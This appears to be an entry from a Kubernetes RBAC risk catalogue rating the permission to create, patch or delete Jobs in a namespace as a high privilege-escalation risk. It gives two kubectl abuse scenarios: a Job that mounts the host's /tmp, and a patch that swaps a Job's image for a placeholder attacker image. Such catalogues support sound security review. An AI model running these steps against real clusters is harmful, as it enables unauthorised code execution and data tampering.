Overview

FieldValue
ID1042
NameManage Jobs in a namespace (one-off privileged execution)
Risk CategoryElevation of Privilege
Risk LevelHigh
Role TypeRole
API Groupsbatch
Resourcesjobs
Verbscreate, update, patch, delete
TagsPotentialPrivilegeEscalation Tampering WorkloadLifecycle

Description

Permits creating, updating, or deleting Jobs within a specific namespace. This can be used to run a one-off pod, potentially with privileged settings, leading to code execution and potential privilege escalation within that namespace.

Abuse Scenarios

  1. Create a new Job with a hostPath mount in the namespace.
kubectl create -n <namespace> -f - <<EOF
apiVersion: batch/v1
kind: Job
metadata:
  name: hostpath-job
spec:
  template:
    spec:
      containers:
      - name: hostpath-container
        image: busybox
        command: ["/bin/sh", "-c", "echo 'Hello from job' >> /host-tmp/job.log"]
        volumeMounts:
        - mountPath: /host-tmp
          name: host-tmp
      volumes:
      - name: host-tmp
        hostPath:
          path: /tmp
      restartPolicy: OnFailure
EOF
# Example: kubectl create -n default -f - <<EOF ... EOF
  1. Update an existing Job’s image to a malicious one.
kubectl patch job <job-name> -n <namespace> --type='json' -p='[{"op": "replace", "path": "/spec/template/spec/containers/0/image", "value": "attacker/malicious-script"}]'
# Example: kubectl patch job cleanup-old-data -n production --type='json' -p='[{"op": "replace", "path": "/spec/template/spec/containers/0/image", "value": "attacker/data-wipe"}]'